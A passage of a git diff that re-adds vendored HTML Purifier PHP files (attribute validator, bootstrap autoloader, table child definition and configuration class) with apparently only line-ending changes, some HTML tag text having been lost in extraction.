    - foreach ($definition->info[$token->name]->attr_transform_pre as $transform) { - $attr = $transform->transform($o = $attr, $config, $context); - if ($e) { - if ($attr != $o) { - $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); - } - } - } - - // create alias to this element's attribute definition array, see - // also $d_defs (global attribute definition array) - // DEFINITION CALL - $defs = $definition->info[$token->name]->attr; - - $attr_key = false; - $context->register('CurrentAttr', $attr_key); - - // iterate through all the attribute keypairs - // Watch out for name collisions: $key has previously been used - foreach ($attr as $attr_key => $value) { - - // call the definition - if (isset($defs[$attr_key])) { - // there is a local definition defined - if ($defs[$attr_key] === false) { - // We've explicitly been told not to allow this element. - // This is usually when there's a global definition - // that must be overridden. - // Theoretically speaking, we could have a - // AttrDef_DenyAll, but this is faster! - $result = false; - } else { - // validate according to the element's definition - $result = $defs[$attr_key]->validate( - $value, - $config, - $context - ); - } - } elseif (isset($d_defs[$attr_key])) { - // there is a global definition defined, validate according - // to the global definition - $result = $d_defs[$attr_key]->validate( - $value, - $config, - $context - ); - } else { - // system never heard of the attribute? DELETE! - $result = false; - } - - // put the results into effect - if ($result === false || $result === null) { - // this is a generic error message that should replaced - // with more specific ones when possible - if ($e) { - $e->send(E_ERROR, 'AttrValidator: Attribute removed'); - } - - // remove the attribute - unset($attr[$attr_key]); - } elseif (is_string($result)) { - // generally, if a substitution is happening, there - // was some sort of implicit correction going on. We'll - // delegate it to the attribute classes to say exactly what. - - // simple substitution - $attr[$attr_key] = $result; - } else { - // nothing happens - } - - // we'd also want slightly more complicated substitution - // involving an array as the return value, - // although we're not sure how colliding attributes would - // resolve (certain ones would be completely overriden, - // others would prepend themselves). - } - - $context->destroy('CurrentAttr'); - - // post transforms - - // global (error reporting untested) - foreach ($definition->info_attr_transform_post as $transform) { - $attr = $transform->transform($o = $attr, $config, $context); - if ($e) { - if ($attr != $o) { - $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); - } - } - } - - // local (error reporting untested) - foreach ($definition->info[$token->name]->attr_transform_post as $transform) { - $attr = $transform->transform($o = $attr, $config, $context); - if ($e) { - if ($attr != $o) { - $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); - } - } - } - - $token->attr = $attr; - - // destroy CurrentToken if we made it ourselves - if (!$current_token) { - $context->destroy('CurrentToken'); - } - - } - - -} - -// vim: et sw=4 sts=4 +getHTMLDefinition(); + $e =& $context->get('ErrorCollector', true); + + // initialize IDAccumulator if necessary + $ok =& $context->get('IDAccumulator', true); + if (!$ok) { + $id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context); + $context->register('IDAccumulator', $id_accumulator); + } + + // initialize CurrentToken if necessary + $current_token =& $context->get('CurrentToken', true); + if (!$current_token) { + $context->register('CurrentToken', $token); + } + + if (!$token instanceof HTMLPurifier_Token_Start && + !$token instanceof HTMLPurifier_Token_Empty + ) { + return; + } + + // create alias to global definition array, see also $defs + // DEFINITION CALL + $d_defs = $definition->info_global_attr; + + // don't update token until the very end, to ensure an atomic update + $attr = $token->attr; + + // do global transformations (pre) + // nothing currently utilizes this + foreach ($definition->info_attr_transform_pre as $transform) { + $attr = $transform->transform($o = $attr, $config, $context); + if ($e) { + if ($attr != $o) { + $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); + } + } + } + + // do local transformations only applicable to this element (pre) + // ex.

    to

    + foreach ($definition->info[$token->name]->attr_transform_pre as $transform) { + $attr = $transform->transform($o = $attr, $config, $context); + if ($e) { + if ($attr != $o) { + $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); + } + } + } + + // create alias to this element's attribute definition array, see + // also $d_defs (global attribute definition array) + // DEFINITION CALL + $defs = $definition->info[$token->name]->attr; + + $attr_key = false; + $context->register('CurrentAttr', $attr_key); + + // iterate through all the attribute keypairs + // Watch out for name collisions: $key has previously been used + foreach ($attr as $attr_key => $value) { + + // call the definition + if (isset($defs[$attr_key])) { + // there is a local definition defined + if ($defs[$attr_key] === false) { + // We've explicitly been told not to allow this element. + // This is usually when there's a global definition + // that must be overridden. + // Theoretically speaking, we could have a + // AttrDef_DenyAll, but this is faster! + $result = false; + } else { + // validate according to the element's definition + $result = $defs[$attr_key]->validate( + $value, + $config, + $context + ); + } + } elseif (isset($d_defs[$attr_key])) { + // there is a global definition defined, validate according + // to the global definition + $result = $d_defs[$attr_key]->validate( + $value, + $config, + $context + ); + } else { + // system never heard of the attribute? DELETE! + $result = false; + } + + // put the results into effect + if ($result === false || $result === null) { + // this is a generic error message that should replaced + // with more specific ones when possible + if ($e) { + $e->send(E_ERROR, 'AttrValidator: Attribute removed'); + } + + // remove the attribute + unset($attr[$attr_key]); + } elseif (is_string($result)) { + // generally, if a substitution is happening, there + // was some sort of implicit correction going on. We'll + // delegate it to the attribute classes to say exactly what. + + // simple substitution + $attr[$attr_key] = $result; + } else { + // nothing happens + } + + // we'd also want slightly more complicated substitution + // involving an array as the return value, + // although we're not sure how colliding attributes would + // resolve (certain ones would be completely overriden, + // others would prepend themselves). + } + + $context->destroy('CurrentAttr'); + + // post transforms + + // global (error reporting untested) + foreach ($definition->info_attr_transform_post as $transform) { + $attr = $transform->transform($o = $attr, $config, $context); + if ($e) { + if ($attr != $o) { + $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); + } + } + } + + // local (error reporting untested) + foreach ($definition->info[$token->name]->attr_transform_post as $transform) { + $attr = $transform->transform($o = $attr, $config, $context); + if ($e) { + if ($attr != $o) { + $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); + } + } + } + + $token->attr = $attr; + + // destroy CurrentToken if we made it ourselves + if (!$current_token) { + $context->destroy('CurrentToken'); + } + + } + + +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Bootstrap.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Bootstrap.php index 0ab0e341e7..707122bb29 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Bootstrap.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Bootstrap.php @@ -1,124 +1,124 @@ - -if (!defined('PHP_EOL')) { - switch (strtoupper(substr(PHP_OS, 0, 3))) { - case 'WIN': - define('PHP_EOL', "\r\n"); - break; - case 'DAR': - define('PHP_EOL', "\r"); - break; - default: - define('PHP_EOL', "\n"); - } -} - -/** - * Bootstrap class that contains meta-functionality for HTML Purifier such as - * the autoload function. - * - * @note - * This class may be used without any other files from HTML Purifier. - */ -class HTMLPurifier_Bootstrap -{ - - /** - * Autoload function for HTML Purifier - * @param string $class Class to load - * @return bool - */ - public static function autoload($class) - { - $file = HTMLPurifier_Bootstrap::getPath($class); - if (!$file) { - return false; - } - // Technically speaking, it should be ok and more efficient to - // just do 'require', but Antonio Parraga reports that with - // Zend extensions such as Zend debugger and APC, this invariant - // may be broken. Since we have efficient alternatives, pay - // the cost here and avoid the bug. - require_once HTMLPURIFIER_PREFIX . '/' . $file; - return true; - } - - /** - * Returns the path for a specific class. - * @param string $class Class path to get - * @return string - */ - public static function getPath($class) - { - if (strncmp('HTMLPurifier', $class, 12) !== 0) { - return false; - } - // Custom implementations - if (strncmp('HTMLPurifier_Language_', $class, 22) === 0) { - $code = str_replace('_', '-', substr($class, 22)); - $file = 'HTMLPurifier/Language/classes/' . $code . '.php'; - } else { - $file = str_replace('_', '/', $class) . '.php'; - } - if (!file_exists(HTMLPURIFIER_PREFIX . '/' . $file)) { - return false; - } - return $file; - } - - /** - * "Pre-registers" our autoloader on the SPL stack. - */ - public static function registerAutoload() - { - $autoload = array('HTMLPurifier_Bootstrap', 'autoload'); - if (($funcs = spl_autoload_functions()) === false) { - spl_autoload_register($autoload); - } elseif (function_exists('spl_autoload_unregister')) { - if (version_compare(PHP_VERSION, '5.3.0', '>=')) { - // prepend flag exists, no need for shenanigans - spl_autoload_register($autoload, true, true); - } else { - $buggy = version_compare(PHP_VERSION, '5.2.11', '<'); - $compat = version_compare(PHP_VERSION, '5.1.2', '<=') && - version_compare(PHP_VERSION, '5.1.0', '>='); - foreach ($funcs as $func) { - if ($buggy && is_array($func)) { - // :TRICKY: There are some compatibility issues and some - // places where we need to error out - $reflector = new ReflectionMethod($func[0], $func[1]); - if (!$reflector->isStatic()) { - throw new Exception( - 'HTML Purifier autoloader registrar is not compatible - with non-static object methods due to PHP Bug #44144; - Please do not use HTMLPurifier.autoload.php (or any - file that includes this file); instead, place the code: - spl_autoload_register(array(\'HTMLPurifier_Bootstrap\', \'autoload\')) - after your own autoloaders.' - ); - } - // Suprisingly, spl_autoload_register supports the - // Class::staticMethod callback format, although call_user_func doesn't - if ($compat) { - $func = implode('::', $func); - } - } - spl_autoload_unregister($func); - } - spl_autoload_register($autoload); - foreach ($funcs as $func) { - spl_autoload_register($func); - } - } - } - } -} - -// vim: et sw=4 sts=4 + +if (!defined('PHP_EOL')) { + switch (strtoupper(substr(PHP_OS, 0, 3))) { + case 'WIN': + define('PHP_EOL', "\r\n"); + break; + case 'DAR': + define('PHP_EOL', "\r"); + break; + default: + define('PHP_EOL', "\n"); + } +} + +/** + * Bootstrap class that contains meta-functionality for HTML Purifier such as + * the autoload function. + * + * @note + * This class may be used without any other files from HTML Purifier. + */ +class HTMLPurifier_Bootstrap +{ + + /** + * Autoload function for HTML Purifier + * @param string $class Class to load + * @return bool + */ + public static function autoload($class) + { + $file = HTMLPurifier_Bootstrap::getPath($class); + if (!$file) { + return false; + } + // Technically speaking, it should be ok and more efficient to + // just do 'require', but Antonio Parraga reports that with + // Zend extensions such as Zend debugger and APC, this invariant + // may be broken. Since we have efficient alternatives, pay + // the cost here and avoid the bug. + require_once HTMLPURIFIER_PREFIX . '/' . $file; + return true; + } + + /** + * Returns the path for a specific class. + * @param string $class Class path to get + * @return string + */ + public static function getPath($class) + { + if (strncmp('HTMLPurifier', $class, 12) !== 0) { + return false; + } + // Custom implementations + if (strncmp('HTMLPurifier_Language_', $class, 22) === 0) { + $code = str_replace('_', '-', substr($class, 22)); + $file = 'HTMLPurifier/Language/classes/' . $code . '.php'; + } else { + $file = str_replace('_', '/', $class) . '.php'; + } + if (!file_exists(HTMLPURIFIER_PREFIX . '/' . $file)) { + return false; + } + return $file; + } + + /** + * "Pre-registers" our autoloader on the SPL stack. + */ + public static function registerAutoload() + { + $autoload = array('HTMLPurifier_Bootstrap', 'autoload'); + if (($funcs = spl_autoload_functions()) === false) { + spl_autoload_register($autoload); + } elseif (function_exists('spl_autoload_unregister')) { + if (version_compare(PHP_VERSION, '5.3.0', '>=')) { + // prepend flag exists, no need for shenanigans + spl_autoload_register($autoload, true, true); + } else { + $buggy = version_compare(PHP_VERSION, '5.2.11', '<'); + $compat = version_compare(PHP_VERSION, '5.1.2', '<=') && + version_compare(PHP_VERSION, '5.1.0', '>='); + foreach ($funcs as $func) { + if ($buggy && is_array($func)) { + // :TRICKY: There are some compatibility issues and some + // places where we need to error out + $reflector = new ReflectionMethod($func[0], $func[1]); + if (!$reflector->isStatic()) { + throw new Exception( + 'HTML Purifier autoloader registrar is not compatible + with non-static object methods due to PHP Bug #44144; + Please do not use HTMLPurifier.autoload.php (or any + file that includes this file); instead, place the code: + spl_autoload_register(array(\'HTMLPurifier_Bootstrap\', \'autoload\')) + after your own autoloaders.' + ); + } + // Suprisingly, spl_autoload_register supports the + // Class::staticMethod callback format, although call_user_func doesn't + if ($compat) { + $func = implode('::', $func); + } + } + spl_autoload_unregister($func); + } + spl_autoload_register($autoload); + foreach ($funcs as $func) { + spl_autoload_register($func); + } + } + } + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Table.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Table.php index 9b12c92803..cb6b3e6cdc 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Table.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ChildDef/Table.php @@ -1,224 +1,224 @@ - true, - 'tbody' => true, - 'thead' => true, - 'tfoot' => true, - 'caption' => true, - 'colgroup' => true, - 'col' => true - ); - - public function __construct() - { - } - - /** - * @param array $children - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return array - */ - public function validateChildren($children, $config, $context) - { - if (empty($children)) { - return false; - } - - // only one of these elements is allowed in a table - $caption = false; - $thead = false; - $tfoot = false; - - // whitespace - $initial_ws = array(); - $after_caption_ws = array(); - $after_thead_ws = array(); - $after_tfoot_ws = array(); - - // as many of these as you want - $cols = array(); - $content = array(); - - $tbody_mode = false; // if true, then we need to wrap any stray - // s with a . - - $ws_accum =& $initial_ws; - - foreach ($children as $node) { - if ($node instanceof HTMLPurifier_Node_Comment) { - $ws_accum[] = $node; - continue; - } - switch ($node->name) { - case 'tbody': - $tbody_mode = true; - // fall through - case 'tr': - $content[] = $node; - $ws_accum =& $content; - break; - case 'caption': - // there can only be one caption! - if ($caption !== false) break; - $caption = $node; - $ws_accum =& $after_caption_ws; - break; - case 'thead': - $tbody_mode = true; - // XXX This breaks rendering properties with - // Firefox, which never floats a to - // the top. Ever. (Our scheme will float the - // first to the top.) So maybe - // s that are not first should be - // turned into ? Very tricky, indeed. - if ($thead === false) { - $thead = $node; - $ws_accum =& $after_thead_ws; - } else { - // Oops, there's a second one! What - // should we do? Current behavior is to - // transmutate the first and last entries into - // tbody tags, and then put into content. - // Maybe a better idea is to *attach - // it* to the existing thead or tfoot? - // We don't do this, because Firefox - // doesn't float an extra tfoot to the - // bottom like it does for the first one. - $node->name = 'tbody'; - $content[] = $node; - $ws_accum =& $content; - } - break; - case 'tfoot': - // see above for some aveats - $tbody_mode = true; - if ($tfoot === false) { - $tfoot = $node; - $ws_accum =& $after_tfoot_ws; - } else { - $node->name = 'tbody'; - $content[] = $node; - $ws_accum =& $content; - } - break; - case 'colgroup': - case 'col': - $cols[] = $node; - $ws_accum =& $cols; - break; - case '#PCDATA': - // How is whitespace handled? We treat is as sticky to - // the *end* of the previous element. So all of the - // nonsense we have worked on is to keep things - // together. - if (!empty($node->is_whitespace)) { - $ws_accum[] = $node; - } - break; - } - } - - if (empty($content)) { - return false; - } - - $ret = $initial_ws; - if ($caption !== false) { - $ret[] = $caption; - $ret = array_merge($ret, $after_caption_ws); - } - if ($cols !== false) { - $ret = array_merge($ret, $cols); - } - if ($thead !== false) { - $ret[] = $thead; - $ret = array_merge($ret, $after_thead_ws); - } - if ($tfoot !== false) { - $ret[] = $tfoot; - $ret = array_merge($ret, $after_tfoot_ws); - } - - if ($tbody_mode) { - // we have to shuffle tr into tbody - $current_tr_tbody = null; - - foreach($content as $node) { - switch ($node->name) { - case 'tbody': - $current_tr_tbody = null; - $ret[] = $node; - break; - case 'tr': - if ($current_tr_tbody === null) { - $current_tr_tbody = new HTMLPurifier_Node_Element('tbody'); - $ret[] = $current_tr_tbody; - } - $current_tr_tbody->children[] = $node; - break; - case '#PCDATA': - //assert($node->is_whitespace); - if ($current_tr_tbody === null) { - $ret[] = $node; - } else { - $current_tr_tbody->children[] = $node; - } - break; - } - } - } else { - $ret = array_merge($ret, $content); - } - - return $ret; - - } -} - -// vim: et sw=4 sts=4 + true, + 'tbody' => true, + 'thead' => true, + 'tfoot' => true, + 'caption' => true, + 'colgroup' => true, + 'col' => true + ); + + public function __construct() + { + } + + /** + * @param array $children + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function validateChildren($children, $config, $context) + { + if (empty($children)) { + return false; + } + + // only one of these elements is allowed in a table + $caption = false; + $thead = false; + $tfoot = false; + + // whitespace + $initial_ws = array(); + $after_caption_ws = array(); + $after_thead_ws = array(); + $after_tfoot_ws = array(); + + // as many of these as you want + $cols = array(); + $content = array(); + + $tbody_mode = false; // if true, then we need to wrap any stray + // s with a . + + $ws_accum =& $initial_ws; + + foreach ($children as $node) { + if ($node instanceof HTMLPurifier_Node_Comment) { + $ws_accum[] = $node; + continue; + } + switch ($node->name) { + case 'tbody': + $tbody_mode = true; + // fall through + case 'tr': + $content[] = $node; + $ws_accum =& $content; + break; + case 'caption': + // there can only be one caption! + if ($caption !== false) break; + $caption = $node; + $ws_accum =& $after_caption_ws; + break; + case 'thead': + $tbody_mode = true; + // XXX This breaks rendering properties with + // Firefox, which never floats a to + // the top. Ever. (Our scheme will float the + // first to the top.) So maybe + // s that are not first should be + // turned into ? Very tricky, indeed. + if ($thead === false) { + $thead = $node; + $ws_accum =& $after_thead_ws; + } else { + // Oops, there's a second one! What + // should we do? Current behavior is to + // transmutate the first and last entries into + // tbody tags, and then put into content. + // Maybe a better idea is to *attach + // it* to the existing thead or tfoot? + // We don't do this, because Firefox + // doesn't float an extra tfoot to the + // bottom like it does for the first one. + $node->name = 'tbody'; + $content[] = $node; + $ws_accum =& $content; + } + break; + case 'tfoot': + // see above for some aveats + $tbody_mode = true; + if ($tfoot === false) { + $tfoot = $node; + $ws_accum =& $after_tfoot_ws; + } else { + $node->name = 'tbody'; + $content[] = $node; + $ws_accum =& $content; + } + break; + case 'colgroup': + case 'col': + $cols[] = $node; + $ws_accum =& $cols; + break; + case '#PCDATA': + // How is whitespace handled? We treat is as sticky to + // the *end* of the previous element. So all of the + // nonsense we have worked on is to keep things + // together. + if (!empty($node->is_whitespace)) { + $ws_accum[] = $node; + } + break; + } + } + + if (empty($content)) { + return false; + } + + $ret = $initial_ws; + if ($caption !== false) { + $ret[] = $caption; + $ret = array_merge($ret, $after_caption_ws); + } + if ($cols !== false) { + $ret = array_merge($ret, $cols); + } + if ($thead !== false) { + $ret[] = $thead; + $ret = array_merge($ret, $after_thead_ws); + } + if ($tfoot !== false) { + $ret[] = $tfoot; + $ret = array_merge($ret, $after_tfoot_ws); + } + + if ($tbody_mode) { + // we have to shuffle tr into tbody + $current_tr_tbody = null; + + foreach($content as $node) { + switch ($node->name) { + case 'tbody': + $current_tr_tbody = null; + $ret[] = $node; + break; + case 'tr': + if ($current_tr_tbody === null) { + $current_tr_tbody = new HTMLPurifier_Node_Element('tbody'); + $ret[] = $current_tr_tbody; + } + $current_tr_tbody->children[] = $node; + break; + case '#PCDATA': + //assert($node->is_whitespace); + if ($current_tr_tbody === null) { + $ret[] = $node; + } else { + $current_tr_tbody->children[] = $node; + } + break; + } + } + } else { + $ret = array_merge($ret, $content); + } + + return $ret; + + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Config.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Config.php index 993d6e3f65..3133d8a4ff 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Config.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Config.php @@ -1,920 +1,920 @@ -defaultPlist; - $this->plist = new HTMLPurifier_PropertyList($parent); - $this->def = $definition; // keep a copy around for checking - $this->parser = new HTMLPurifier_VarParser_Flexible(); - } - - /** - * Convenience constructor that creates a config object based on a mixed var - * @param mixed $config Variable that defines the state of the config - * object. Can be: a HTMLPurifier_Config() object, - * an array of directives based on loadArray(), - * or a string filename of an ini file. - * @param HTMLPurifier_ConfigSchema $schema Schema object - * @return HTMLPurifier_Config Configured object - */ - public static function create($config, $schema = null) - { - if ($config instanceof HTMLPurifier_Config) { - // pass-through - return $config; - } - if (!$schema) { - $ret = HTMLPurifier_Config::createDefault(); - } else { - $ret = new HTMLPurifier_Config($schema); - } - if (is_string($config)) { - $ret->loadIni($config); - } elseif (is_array($config)) $ret->loadArray($config); - return $ret; - } - - /** - * Creates a new config object that inherits from a previous one. - * @param HTMLPurifier_Config $config Configuration object to inherit from. - * @return HTMLPurifier_Config object with $config as its parent. - */ - public static function inherit(HTMLPurifier_Config $config) - { - return new HTMLPurifier_Config($config->def, $config->plist); - } - - /** - * Convenience constructor that creates a default configuration object. - * @return HTMLPurifier_Config default object. - */ - public static function createDefault() - { - $definition = HTMLPurifier_ConfigSchema::instance(); - $config = new HTMLPurifier_Config($definition); - return $config; - } - - /** - * Retrieves a value from the configuration. - * - * @param string $key String key - * @param mixed $a - * - * @return mixed - */ - public function get($key, $a = null) - { - if ($a !== null) { - $this->triggerError( - "Using deprecated API: use \$config->get('$key.$a') instead", - E_USER_WARNING - ); - $key = "$key.$a"; - } - if (!$this->finalized) { - $this->autoFinalize(); - } - if (!isset($this->def->info[$key])) { - // can't add % due to SimpleTest bug - $this->triggerError( - 'Cannot retrieve value of undefined directive ' . htmlspecialchars($key), - E_USER_WARNING - ); - return; - } - if (isset($this->def->info[$key]->isAlias)) { - $d = $this->def->info[$key]; - $this->triggerError( - 'Cannot get value from aliased directive, use real name ' . $d->key, - E_USER_ERROR - ); - return; - } - if ($this->lock) { - list($ns) = explode('.', $key); - if ($ns !== $this->lock) { - $this->triggerError( - 'Cannot get value of namespace ' . $ns . ' when lock for ' . - $this->lock . - ' is active, this probably indicates a Definition setup method ' . - 'is accessing directives that are not within its namespace', - E_USER_ERROR - ); - return; - } - } - return $this->plist->get($key); - } - - /** - * Retrieves an array of directives to values from a given namespace - * - * @param string $namespace String namespace - * - * @return array - */ - public function getBatch($namespace) - { - if (!$this->finalized) { - $this->autoFinalize(); - } - $full = $this->getAll(); - if (!isset($full[$namespace])) { - $this->triggerError( - 'Cannot retrieve undefined namespace ' . - htmlspecialchars($namespace), - E_USER_WARNING - ); - return; - } - return $full[$namespace]; - } - - /** - * Returns a SHA-1 signature of a segment of the configuration object - * that uniquely identifies that particular configuration - * - * @param string $namespace Namespace to get serial for - * - * @return string - * @note Revision is handled specially and is removed from the batch - * before processing! - */ - public function getBatchSerial($namespace) - { - if (empty($this->serials[$namespace])) { - $batch = $this->getBatch($namespace); - unset($batch['DefinitionRev']); - $this->serials[$namespace] = sha1(serialize($batch)); - } - return $this->serials[$namespace]; - } - - /** - * Returns a SHA-1 signature for the entire configuration object - * that uniquely identifies that particular configuration - * - * @return string - */ - public function getSerial() - { - if (empty($this->serial)) { - $this->serial = sha1(serialize($this->getAll())); - } - return $this->serial; - } - - /** - * Retrieves all directives, organized by namespace - * - * @warning This is a pretty inefficient function, avoid if you can - */ - public function getAll() - { - if (!$this->finalized) { - $this->autoFinalize(); - } - $ret = array(); - foreach ($this->plist->squash() as $name => $value) { - list($ns, $key) = explode('.', $name, 2); - $ret[$ns][$key] = $value; - } - return $ret; - } - - /** - * Sets a value to configuration. - * - * @param string $key key - * @param mixed $value value - * @param mixed $a - */ - public function set($key, $value, $a = null) - { - if (strpos($key, '.') === false) { - $namespace = $key; - $directive = $value; - $value = $a; - $key = "$key.$directive"; - $this->triggerError("Using deprecated API: use \$config->set('$key', ...) instead", E_USER_NOTICE); - } else { - list($namespace) = explode('.', $key); - } - if ($this->isFinalized('Cannot set directive after finalization')) { - return; - } - if (!isset($this->def->info[$key])) { - $this->triggerError( - 'Cannot set undefined directive ' . htmlspecialchars($key) . ' to value', - E_USER_WARNING - ); - return; - } - $def = $this->def->info[$key]; - - if (isset($def->isAlias)) { - if ($this->aliasMode) { - $this->triggerError( - 'Double-aliases not allowed, please fix '. - 'ConfigSchema bug with' . $key, - E_USER_ERROR - ); - return; - } - $this->aliasMode = true; - $this->set($def->key, $value); - $this->aliasMode = false; - $this->triggerError("$key is an alias, preferred directive name is {$def->key}", E_USER_NOTICE); - return; - } - - // Raw type might be negative when using the fully optimized form - // of stdClass, which indicates allow_null == true - $rtype = is_int($def) ? $def : $def->type; - if ($rtype < 0) { - $type = -$rtype; - $allow_null = true; - } else { - $type = $rtype; - $allow_null = isset($def->allow_null); - } - - try { - $value = $this->parser->parse($value, $type, $allow_null); - } catch (HTMLPurifier_VarParserException $e) { - $this->triggerError( - 'Value for ' . $key . ' is of invalid type, should be ' . - HTMLPurifier_VarParser::getTypeName($type), - E_USER_WARNING - ); - return; - } - if (is_string($value) && is_object($def)) { - // resolve value alias if defined - if (isset($def->aliases[$value])) { - $value = $def->aliases[$value]; - } - // check to see if the value is allowed - if (isset($def->allowed) && !isset($def->allowed[$value])) { - $this->triggerError( - 'Value not supported, valid values are: ' . - $this->_listify($def->allowed), - E_USER_WARNING - ); - return; - } - } - $this->plist->set($key, $value); - - // reset definitions if the directives they depend on changed - // this is a very costly process, so it's discouraged - // with finalization - if ($namespace == 'HTML' || $namespace == 'CSS' || $namespace == 'URI') { - $this->definitions[$namespace] = null; - } - - $this->serials[$namespace] = false; - } - - /** - * Convenience function for error reporting - * - * @param array $lookup - * - * @return string - */ - private function _listify($lookup) - { - $list = array(); - foreach ($lookup as $name => $b) { - $list[] = $name; - } - return implode(', ', $list); - } - - /** - * Retrieves object reference to the HTML definition. - * - * @param bool $raw Return a copy that has not been setup yet. Must be - * called before it's been setup, otherwise won't work. - * @param bool $optimized If true, this method may return null, to - * indicate that a cached version of the modified - * definition object is available and no further edits - * are necessary. Consider using - * maybeGetRawHTMLDefinition, which is more explicitly - * named, instead. - * - * @return HTMLPurifier_HTMLDefinition|null - */ - public function getHTMLDefinition($raw = false, $optimized = false) - { - return $this->getDefinition('HTML', $raw, $optimized); - } - - /** - * Retrieves object reference to the CSS definition - * - * @param bool $raw Return a copy that has not been setup yet. Must be - * called before it's been setup, otherwise won't work. - * @param bool $optimized If true, this method may return null, to - * indicate that a cached version of the modified - * definition object is available and no further edits - * are necessary. Consider using - * maybeGetRawCSSDefinition, which is more explicitly - * named, instead. - * - * @return HTMLPurifier_CSSDefinition|null - */ - public function getCSSDefinition($raw = false, $optimized = false) - { - return $this->getDefinition('CSS', $raw, $optimized); - } - - /** - * Retrieves object reference to the URI definition - * - * @param bool $raw Return a copy that has not been setup yet. Must be - * called before it's been setup, otherwise won't work. - * @param bool $optimized If true, this method may return null, to - * indicate that a cached version of the modified - * definition object is available and no further edits - * are necessary. Consider using - * maybeGetRawURIDefinition, which is more explicitly - * named, instead. - * - * @return HTMLPurifier_URIDefinition|null - */ - public function getURIDefinition($raw = false, $optimized = false) - { - return $this->getDefinition('URI', $raw, $optimized); - } - - /** - * Retrieves a definition - * - * @param string $type Type of definition: HTML, CSS, etc - * @param bool $raw Whether or not definition should be returned raw - * @param bool $optimized Only has an effect when $raw is true. Whether - * or not to return null if the result is already present in - * the cache. This is off by default for backwards - * compatibility reasons, but you need to do things this - * way in order to ensure that caching is done properly. - * Check out enduser-customize.html for more details. - * We probably won't ever change this default, as much as the - * maybe semantics is the "right thing to do." - * - * @throws HTMLPurifier_Exception - * @return HTMLPurifier_Definition|null - */ - public function getDefinition($type, $raw = false, $optimized = false) - { - if ($optimized && !$raw) { - throw new HTMLPurifier_Exception("Cannot set optimized = true when raw = false"); - } - if (!$this->finalized) { - $this->autoFinalize(); - } - // temporarily suspend locks, so we can handle recursive definition calls - $lock = $this->lock; - $this->lock = null; - $factory = HTMLPurifier_DefinitionCacheFactory::instance(); - $cache = $factory->create($type, $this); - $this->lock = $lock; - if (!$raw) { - // full definition - // --------------- - // check if definition is in memory - if (!empty($this->definitions[$type])) { - $def = $this->definitions[$type]; - // check if the definition is setup - if ($def->setup) { - return $def; - } else { - $def->setup($this); - if ($def->optimized) { - $cache->add($def, $this); - } - return $def; - } - } - // check if definition is in cache - $def = $cache->get($this); - if ($def) { - // definition in cache, save to memory and return it - $this->definitions[$type] = $def; - return $def; - } - // initialize it - $def = $this->initDefinition($type); - // set it up - $this->lock = $type; - $def->setup($this); - $this->lock = null; - // save in cache - $cache->add($def, $this); - // return it - return $def; - } else { - // raw definition - // -------------- - // check preconditions - $def = null; - if ($optimized) { - if (is_null($this->get($type . '.DefinitionID'))) { - // fatally error out if definition ID not set - throw new HTMLPurifier_Exception( - "Cannot retrieve raw version without specifying %$type.DefinitionID" - ); - } - } - if (!empty($this->definitions[$type])) { - $def = $this->definitions[$type]; - if ($def->setup && !$optimized) { - $extra = $this->chatty ? - " (try moving this code block earlier in your initialization)" : - ""; - throw new HTMLPurifier_Exception( - "Cannot retrieve raw definition after it has already been setup" . - $extra - ); - } - if ($def->optimized === null) { - $extra = $this->chatty ? " (try flushing your cache)" : ""; - throw new HTMLPurifier_Exception( - "Optimization status of definition is unknown" . $extra - ); - } - if ($def->optimized !== $optimized) { - $msg = $optimized ? "optimized" : "unoptimized"; - $extra = $this->chatty ? - " (this backtrace is for the first inconsistent call, which was for a $msg raw definition)" - : ""; - throw new HTMLPurifier_Exception( - "Inconsistent use of optimized and unoptimized raw definition retrievals" . $extra - ); - } - } - // check if definition was in memory - if ($def) { - if ($def->setup) { - // invariant: $optimized === true (checked above) - return null; - } else { - return $def; - } - } - // if optimized, check if definition was in cache - // (because we do the memory check first, this formulation - // is prone to cache slamming, but I think - // guaranteeing that either /all/ of the raw - // setup code or /none/ of it is run is more important.) - if ($optimized) { - // This code path only gets run once; once we put - // something in $definitions (which is guaranteed by the - // trailing code), we always short-circuit above. - $def = $cache->get($this); - if ($def) { - // save the full definition for later, but don't - // return it yet - $this->definitions[$type] = $def; - return null; - } - } - // check invariants for creation - if (!$optimized) { - if (!is_null($this->get($type . '.DefinitionID'))) { - if ($this->chatty) { - $this->triggerError( - 'Due to a documentation error in previous version of HTML Purifier, your ' . - 'definitions are not being cached. If this is OK, you can remove the ' . - '%$type.DefinitionRev and %$type.DefinitionID declaration. Otherwise, ' . - 'modify your code to use maybeGetRawDefinition, and test if the returned ' . - 'value is null before making any edits (if it is null, that means that a ' . - 'cached version is available, and no raw operations are necessary). See ' . - '' . - 'Customize for more details', - E_USER_WARNING - ); - } else { - $this->triggerError( - "Useless DefinitionID declaration", - E_USER_WARNING - ); - } - } - } - // initialize it - $def = $this->initDefinition($type); - $def->optimized = $optimized; - return $def; - } - throw new HTMLPurifier_Exception("The impossible happened!"); - } - - /** - * Initialise definition - * - * @param string $type What type of 